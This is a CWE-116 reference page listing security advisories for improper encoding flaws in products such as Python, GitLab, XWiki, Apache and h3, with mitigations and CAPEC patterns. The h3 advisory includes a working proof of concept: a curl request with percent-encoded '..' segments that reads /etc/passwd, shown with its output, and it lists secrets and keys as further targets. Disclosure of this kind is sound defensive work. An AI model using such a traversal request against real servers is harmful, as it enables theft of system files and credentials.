CWE-116
Allowed-with-ReviewImproper Encoding or Escaping of Output
Abstraction: Class · Status: Draft
The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.
611 vulnerabilities reference this CWE, most recent first.
GHSA-W7GF-RPQW-GX4F
Vulnerability from github – Published: 2022-05-24 17:29 – Updated: 2022-06-29 00:00http.client in Python 3.x before 3.5.10, 3.6.x before 3.6.12, 3.7.x before 3.7.9, and 3.8.x before 3.8.5 allows CRLF injection if the attacker controls the HTTP request method, as demonstrated by inserting CR and LF control characters in the first argument of HTTPConnection.request.
{
"affected": [],
"aliases": [
"CVE-2020-26116"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-74"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-27T04:15:00Z",
"severity": "HIGH"
},
"details": "http.client in Python 3.x before 3.5.10, 3.6.x before 3.6.12, 3.7.x before 3.7.9, and 3.8.x before 3.8.5 allows CRLF injection if the attacker controls the HTTP request method, as demonstrated by inserting CR and LF control characters in the first argument of HTTPConnection.request.",
"id": "GHSA-w7gf-rpqw-gx4f",
"modified": "2022-06-29T00:00:31Z",
"published": "2022-05-24T17:29:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-26116"
},
{
"type": "WEB",
"url": "https://bugs.python.org/issue39603"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2020/11/msg00032.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/05/msg00024.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BW4GCLQISJCOEGQNIMVUZDQMIY6RR6CC"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HDQ2THWU4GPV4Y5H5WW5PFMSWXL2CRFD"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JWMAVY4T4257AZHTF2RZJKNJNSJFY24O"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OXI72HIHMXCQFWTULUXDG7VDA2BCYL4Y"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QOX7DGMMWWL6POCRYGAUCISOLR2IG3XV"
},
{
"type": "WEB",
"url": "https://python-security.readthedocs.io/vuln/http-header-injection-method.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202101-18"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20201023-0001"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4581-1"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-11/msg00027.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W7PV-HCJH-P9W4
Vulnerability from github – Published: 2023-07-13 03:30 – Updated: 2024-04-04 06:06An issue has been discovered in GitLab CE/EE affecting all versions starting from 7.14 before 15.11.10, all versions starting from 16.0 before 16.0.6, all versions starting from 16.1 before 16.1.1, which allows an attacker to inject HTML in an email address field.
{
"affected": [],
"aliases": [
"CVE-2023-2200"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79",
"CWE-99"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-13T03:15:09Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions starting from 7.14 before 15.11.10, all versions starting from 16.0 before 16.0.6, all versions starting from 16.1 before 16.1.1, which allows an attacker to inject HTML in an email address field.",
"id": "GHSA-w7pv-hcjh-p9w4",
"modified": "2024-04-04T06:06:03Z",
"published": "2023-07-13T03:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2200"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1935628"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/408281"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WH34-M772-5398
Vulnerability from github – Published: 2024-12-12 19:22 – Updated: 2024-12-16 18:08Impact
In getdocument.vm ; the ordering of the returned documents is defined from an unsanitized request parameter (request.sort) and can allow any user to inject HQL.
Depending on the used database backend, the attacker may be able to not only obtain confidential information such as password hashes from the database, but also execute UPDATE/INSERT/DELETE queries.
It's possible to employ database backend dependent techniques of breaking out of HQL query context, described, for example, here: https://www.sonarsource.com/blog/exploiting-hibernate-injections.
Patches
This has been patched in 13.10.5 and 14.3-rc-1.
Workarounds
There is no known workaround, other than upgrading XWiki.
References
https://jira.xwiki.org/browse/XWIKI-17568
For more information
If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-distribution-war"
},
"ranges": [
{
"events": [
{
"introduced": "6.3-milestone-2"
},
{
"fixed": "13.10.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.xwiki.platform:xwiki-platform-distribution-war"
},
"ranges": [
{
"events": [
{
"introduced": "14.0-rc-1"
},
{
"fixed": "14.3-rc-1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-55663"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-12T19:22:12Z",
"nvd_published_at": "2024-12-12T19:15:13Z",
"severity": "HIGH"
},
"details": "### Impact\n\nIn `getdocument.vm` ; the ordering of the returned documents is defined from an unsanitized request parameter (request.sort) and can allow any user to inject HQL.\n\nDepending on the used database backend, the attacker may be able to not only obtain confidential information such as password hashes from the database, but also execute UPDATE/INSERT/DELETE queries.\n\nIt\u0027s possible to employ database backend dependent techniques of breaking out of HQL query context, described, for example, here: https://www.sonarsource.com/blog/exploiting-hibernate-injections.\n\n### Patches\n\nThis has been patched in 13.10.5 and 14.3-rc-1.\n\n### Workarounds\n\nThere is no known workaround, other than upgrading XWiki.\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-17568\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)",
"id": "GHSA-wh34-m772-5398",
"modified": "2024-12-16T18:08:46Z",
"published": "2024-12-12T19:22:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-wh34-m772-5398"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55663"
},
{
"type": "WEB",
"url": "https://github.com/xwiki/xwiki-platform/commit/673076e2e8b88a36cdeaf7007843aa9ca1a068a0"
},
{
"type": "PACKAGE",
"url": "https://github.com/xwiki/xwiki-platform"
},
{
"type": "WEB",
"url": "https://jira.xwiki.org/browse/XWIKI-17568"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "XWiki Platform has an SQL injection in getdocuments.vm with sort parameter"
}
GHSA-WHXW-CC2G-CF2J
Vulnerability from github – Published: 2022-03-15 00:00 – Updated: 2022-03-23 00:00IBM Spectrum Copy Data Management 2.2.0.0 through 2.2.14.3 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to conduct various attacks against the vulnerable system, including cross-site scripting, cache poisoning or session hijacking. IBM X-Force ID: 220038
{
"affected": [],
"aliases": [
"CVE-2022-22344"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-14T17:15:00Z",
"severity": "MODERATE"
},
"details": "IBM Spectrum Copy Data Management 2.2.0.0 through 2.2.14.3 is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to conduct various attacks against the vulnerable system, including cross-site scripting, cache poisoning or session hijacking. IBM X-Force ID: 220038",
"id": "GHSA-whxw-cc2g-cf2j",
"modified": "2022-03-23T00:00:47Z",
"published": "2022-03-15T00:00:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22344"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/220038"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/6562479"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WJ5W-QGHH-GVQP
Vulnerability from github – Published: 2022-05-24 17:21 – Updated: 2026-01-14 21:16An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5. E-mail templates can have a field in which HTML content is not neutralized.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0-rc1"
},
{
"fixed": "4.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-18892"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-12T18:25:21Z",
"nvd_published_at": "2020-06-19T19:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Mattermost Server before 4.2.0, 4.1.1, and 4.0.5. E-mail templates can have a field in which HTML content is not neutralized.",
"id": "GHSA-wj5w-qghh-gvqp",
"modified": "2026-01-14T21:16:57Z",
"published": "2022-05-24T17:21:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18892"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/4e05fbffed4d7ad75c0bb55d67d2c6f7cf9eaad6"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/d76946bdb545aba4088943fc523dabb459d22873"
},
{
"type": "WEB",
"url": "https://github.com/mattermost/mattermost/commit/f5167f3ba645b829f4c28530e13be6c3db967255"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mattermost Server does not neutralize HTML content in an Email template field"
}
GHSA-WM65-G4Q2-JH7C
Vulnerability from github – Published: 2023-06-02 18:30 – Updated: 2023-06-09 06:30Firefox did not properly handle downloads of files ending in .desktop, which can be interpreted to run attacker-controlled commands.
This bug only affects Firefox for Linux on certain Distributions. Other operating systems are unaffected, and Mozilla is unable to enumerate all affected Linux Distributions.. This vulnerability affects Firefox < 112, Focus for Android < 112, Firefox ESR < 102.10, Firefox for Android < 112, and Thunderbird < 102.10.
{
"affected": [],
"aliases": [
"CVE-2023-29541"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-02T17:15:12Z",
"severity": null
},
"details": "Firefox did not properly handle downloads of files ending in \u003ccode\u003e.desktop\u003c/code\u003e, which can be interpreted to run attacker-controlled commands. \u003cbr\u003e*This bug only affects Firefox for Linux on certain Distributions. Other operating systems are unaffected, and Mozilla is unable to enumerate all affected Linux Distributions.*. This vulnerability affects Firefox \u003c 112, Focus for Android \u003c 112, Firefox ESR \u003c 102.10, Firefox for Android \u003c 112, and Thunderbird \u003c 102.10.",
"id": "GHSA-wm65-g4q2-jh7c",
"modified": "2023-06-09T06:30:28Z",
"published": "2023-06-02T18:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29541"
},
{
"type": "WEB",
"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1810191"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2023-13"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2023-14"
},
{
"type": "WEB",
"url": "https://www.mozilla.org/security/advisories/mfsa2023-15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WR4H-V87W-P3R7
Vulnerability from github – Published: 2026-03-18 16:18 – Updated: 2026-03-18 16:18Summary
serveStatic() in h3 is vulnerable to path traversal via percent-encoded dot segments (%2e%2e), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.
Details
The vulnerability exists in src/utils/static.ts at line 86:
const originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));
On Node.js, h3 uses srvx's FastURL class to parse request URLs. Unlike the standard WHATWG URL parser, FastURL extracts the pathname via raw string slicing for performance — it does not normalize dot segments (. / ..) or resolve percent-encoded equivalents (%2e).
This means a request to /%2e%2e/ will have event.url.pathname return /%2e%2e/ verbatim, whereas the standard URL parser would normalize it to / (resolving .. upward).
The serveStatic() function then calls decodeURI() on this raw pathname, which decodes %2e to ., producing /../. The resulting path containing ../ traversal sequences is passed directly to the user-provided getMeta() and getContents() callbacks with no sanitization or traversal validation.
When these callbacks perform filesystem operations (the intended and documented usage), the ../ sequences resolve against the filesystem, escaping the static root directory.
Before exploit:
Vulnerability chain
1. Attacker sends: GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd
2. FastURL.pathname: /%2e%2e/%2e%2e/%2e%2e/etc/passwd (raw, no normalization)
3. decodeURI(): /../../../etc/passwd (%2e decoded to .)
4. getMeta(id): id = "/../../../etc/passwd" (no traversal check)
5. path.join(root,id): /etc/passwd (.. resolved by OS)
6. Response: contents of /etc/passwd
PoC
Vulnerable server (server.ts)
import { H3, serveStatic } from "h3";
import { serve } from "h3/node";
import { readFileSync, statSync } from "node:fs";
import { join, resolve } from "node:path";
const STATIC_ROOT = resolve("./public");
const app = new H3();
app.all("/**", (event) =>
serveStatic(event, {
getMeta: (id) => {
const filePath = join(STATIC_ROOT, id);
try {
const stat = statSync(filePath);
return { size: stat.size, mtime: stat.mtime };
} catch {
return undefined;
}
},
getContents: (id) => {
const filePath = join(STATIC_ROOT, id);
try {
return readFileSync(filePath);
} catch {
return undefined;
}
},
})
);
serve({ fetch: app.fetch });
Exploit
# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)
curl -s --path-as-is "http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
Result
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Proof:
Pwned by 0xkakashi
Impact
An unauthenticated remote attacker can read arbitrary files from the server's filesystem by sending a crafted HTTP request with %2e%2e (percent-encoded ..) path segments to any endpoint served by serveStatic().
This affects any h3 v2.x application using serveStatic() running on Node.js (where the FastURL fast path is used). Applications running on runtimes that provide a pre-parsed URL object (e.g., Cloudflare Workers, Deno) may not be affected, as FastURL's raw string slicing is bypassed.
Exploitable files include but are not limited to:
- /etc/passwd, /etc/shadow (if readable)
- Application source code and configuration files
- .env files containing secrets, API keys, database credentials
- Private keys and certificates
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.1-rc.14"
},
"package": {
"ecosystem": "npm",
"name": "h3"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.1-rc.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "h3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.15.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-18T16:18:32Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`serveStatic()` in h3 is vulnerable to path traversal via percent-encoded dot segments (`%2e%2e`), allowing an unauthenticated attacker to read arbitrary files outside the intended static directory on Node.js deployments.\n\n## Details\n\nThe vulnerability exists in `src/utils/static.ts` at [line 86](https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/static.ts#L86):\n\n```typescript\nconst originalId = decodeURI(withLeadingSlash(withoutTrailingSlash(event.url.pathname)));\n```\n\nOn Node.js, h3 uses srvx\u0027s `FastURL` class to parse request URLs. Unlike the standard WHATWG `URL` parser, `FastURL` extracts the pathname via raw string slicing for performance \u2014 it does **not** normalize dot segments (`.` / `..`) or resolve percent-encoded equivalents (`%2e`).\n\nThis means a request to `/%2e%2e/` will have `event.url.pathname` return `/%2e%2e/` verbatim, whereas the standard `URL` parser would normalize it to `/` (resolving `..` upward).\n\nThe `serveStatic()` function then calls `decodeURI()` on this raw pathname, which decodes `%2e` to `.`, producing `/../`. The resulting path containing `../` traversal sequences is passed directly to the user-provided `getMeta()` and `getContents()` callbacks with no sanitization or traversal validation.\n\nWhen these callbacks perform filesystem operations (the intended and documented usage), the `../` sequences resolve against the filesystem, escaping the static root directory.\n\n\nBefore exploit:\n\n\u003cimg width=\"761\" height=\"97\" alt=\"image\" src=\"https://github.com/user-attachments/assets/798f9d3d-f76c-4c29-aca3-5a6ccd3b3627\" /\u003e\n\n### Vulnerability chain\n\n```\n1. Attacker sends: GET /%2e%2e/%2e%2e/%2e%2e/etc/passwd\n2. FastURL.pathname: /%2e%2e/%2e%2e/%2e%2e/etc/passwd (raw, no normalization)\n3. decodeURI(): /../../../etc/passwd (%2e decoded to .)\n4. getMeta(id): id = \"/../../../etc/passwd\" (no traversal check)\n5. path.join(root,id): /etc/passwd (.. resolved by OS)\n6. Response: contents of /etc/passwd\n```\n\n## PoC\n\n### Vulnerable server (`server.ts`)\n\n```typescript\nimport { H3, serveStatic } from \"h3\";\nimport { serve } from \"h3/node\";\nimport { readFileSync, statSync } from \"node:fs\";\nimport { join, resolve } from \"node:path\";\n\nconst STATIC_ROOT = resolve(\"./public\");\nconst app = new H3();\n\napp.all(\"/**\", (event) =\u003e\n serveStatic(event, {\n getMeta: (id) =\u003e {\n const filePath = join(STATIC_ROOT, id);\n try {\n const stat = statSync(filePath);\n return { size: stat.size, mtime: stat.mtime };\n } catch {\n return undefined;\n }\n },\n getContents: (id) =\u003e {\n const filePath = join(STATIC_ROOT, id);\n try {\n return readFileSync(filePath);\n } catch {\n return undefined;\n }\n },\n })\n);\n\nserve({ fetch: app.fetch });\n```\n\n### Exploit\n\n```bash\n# Read /etc/passwd (adjust number of %2e%2e segments based on static root depth)\ncurl -s --path-as-is \"http://localhost:3000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n\n### Result\n\n```\nroot:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n...\n```\n\n\nProof:\n\n\u003cimg width=\"940\" height=\"703\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f452e061-847a-424c-9dda-dfbf899687b1\" /\u003e\n\nPwned by **0xkakashi** \n\n\u003cimg width=\"942\" height=\"74\" alt=\"image\" src=\"https://github.com/user-attachments/assets/db881519-1456-4e4c-a751-d8781b7abe95\" /\u003e\n\n\n## Impact\n\nAn unauthenticated remote attacker can read arbitrary files from the server\u0027s filesystem by sending a crafted HTTP request with `%2e%2e` (percent-encoded `..`) path segments to any endpoint served by `serveStatic()`.\n\nThis affects any h3 v2.x application using `serveStatic()` running on Node.js (where the `FastURL` fast path is used). Applications running on runtimes that provide a pre-parsed `URL` object (e.g., Cloudflare Workers, Deno) may not be affected, as `FastURL`\u0027s raw string slicing is bypassed.\n\n**Exploitable files include but are not limited to:**\n- `/etc/passwd`, `/etc/shadow` (if readable)\n- Application source code and configuration files\n- `.env` files containing secrets, API keys, database credentials\n- Private keys and certificates",
"id": "GHSA-wr4h-v87w-p3r7",
"modified": "2026-03-18T16:18:32Z",
"published": "2026-03-18T16:18:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/h3js/h3/security/advisories/GHSA-wr4h-v87w-p3r7"
},
{
"type": "WEB",
"url": "https://github.com/h3js/h3/commit/0e751b4059060f2ade01a0bdfd96b0f5ffc8a26d"
},
{
"type": "PACKAGE",
"url": "https://github.com/h3js/h3"
},
{
"type": "WEB",
"url": "https://github.com/h3js/h3/blob/52c82e18bb643d124b8b9ec3b1f62b081f044611/src/utils/static.ts#L86"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "h3 has a Path Traversal via Percent-Encoded Dot Segments in serveStatic Allows Arbitrary File Read"
}
GHSA-WVGW-M336-MF9V
Vulnerability from github – Published: 2022-05-24 19:11 – Updated: 2022-05-24 19:11The MiCollab Client Service component in Mitel MiCollab before 9.3 could allow an attacker to get source code information (disclosing sensitive application data) due to insufficient output sanitization. A successful exploit could allow an attacker to view source code methods.
{
"affected": [],
"aliases": [
"CVE-2021-32072"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-13T16:15:00Z",
"severity": "MODERATE"
},
"details": "The MiCollab Client Service component in Mitel MiCollab before 9.3 could allow an attacker to get source code information (disclosing sensitive application data) due to insufficient output sanitization. A successful exploit could allow an attacker to view source code methods.",
"id": "GHSA-wvgw-m336-mf9v",
"modified": "2022-05-24T19:11:04Z",
"published": "2022-05-24T19:11:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32072"
},
{
"type": "WEB",
"url": "https://www.mitel.com/support/security-advisories"
},
{
"type": "WEB",
"url": "https://www.mitel.com/support/security-advisories/mitel-product-security-advisory-21-0005"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WWJP-JVVH-QM5P
Vulnerability from github – Published: 2022-07-15 00:00 – Updated: 2022-07-22 00:00Verizon 5G Home LVSKIHP OutDoorUnit (ODU) 3.33.101.0 does not property sanitize user-controlled parameters within the crtcswitchsimprofile function of the crtcrpc JSON listener. A remote attacker on the local network can inject shell metacharacters into /usr/lib/lua/5.1/luci/controller/rpc.lua to achieve remote code execution as root,
{
"affected": [],
"aliases": [
"CVE-2022-28375"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-07-14T13:15:00Z",
"severity": "CRITICAL"
},
"details": "Verizon 5G Home LVSKIHP OutDoorUnit (ODU) 3.33.101.0 does not property sanitize user-controlled parameters within the crtcswitchsimprofile function of the crtcrpc JSON listener. A remote attacker on the local network can inject shell metacharacters into /usr/lib/lua/5.1/luci/controller/rpc.lua to achieve remote code execution as root,",
"id": "GHSA-wwjp-jvvh-qm5p",
"modified": "2022-07-22T00:00:40Z",
"published": "2022-07-15T00:00:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-28375"
},
{
"type": "WEB",
"url": "https://github.com/JousterL/SecWriteups/blob/main/Verizon%20LVSKIHP%205G%20Modem/readme.md"
},
{
"type": "WEB",
"url": "https://www.verizon.com/info/reportsecurityvulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X6G9-G4WF-QRF7
Vulnerability from github – Published: 2024-07-01 21:31 – Updated: 2025-03-25 21:31Substitution encoding issue in mod_rewrite in Apache HTTP Server 2.4.59 and earlier allows attacker to execute scripts in directories permitted by the configuration but not directly reachable by any URL or source disclosure of scripts meant to only to be executed as CGI.
Users are recommended to upgrade to version 2.4.60, which fixes this issue.
Some RewriteRules that capture and substitute unsafely will now fail unless rewrite flag "UnsafeAllow3F" is specified.
{
"affected": [],
"aliases": [
"CVE-2024-38474"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-01T19:15:04Z",
"severity": "CRITICAL"
},
"details": "Substitution encoding issue in mod_rewrite in Apache HTTP Server 2.4.59 and earlier allows attacker to execute scripts in\ndirectories permitted by the configuration but not directly reachable by any\u00a0URL or source disclosure of scripts meant to only to be executed as CGI.\n\nUsers are recommended to upgrade to version 2.4.60, which fixes this issue.\n\nSome RewriteRules that capture and substitute unsafely will now fail unless rewrite flag \"UnsafeAllow3F\" is specified.",
"id": "GHSA-x6g9-g4wf-qrf7",
"modified": "2025-03-25T21:31:31Z",
"published": "2024-07-01T21:31:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38474"
},
{
"type": "WEB",
"url": "https://httpd.apache.org/security/vulnerabilities_24.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240712-0001"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/07/01/7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4.3
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
- Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.
Mitigation MIT-27
Strategy: Parameterization
- If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.
Mitigation
Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
Mitigation
In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict allowlist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.
Mitigation
Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).
Mitigation
Fully specify which encodings are required by components that will be communicating with each other.
Mitigation
When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-73: User-Controlled Filename
An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.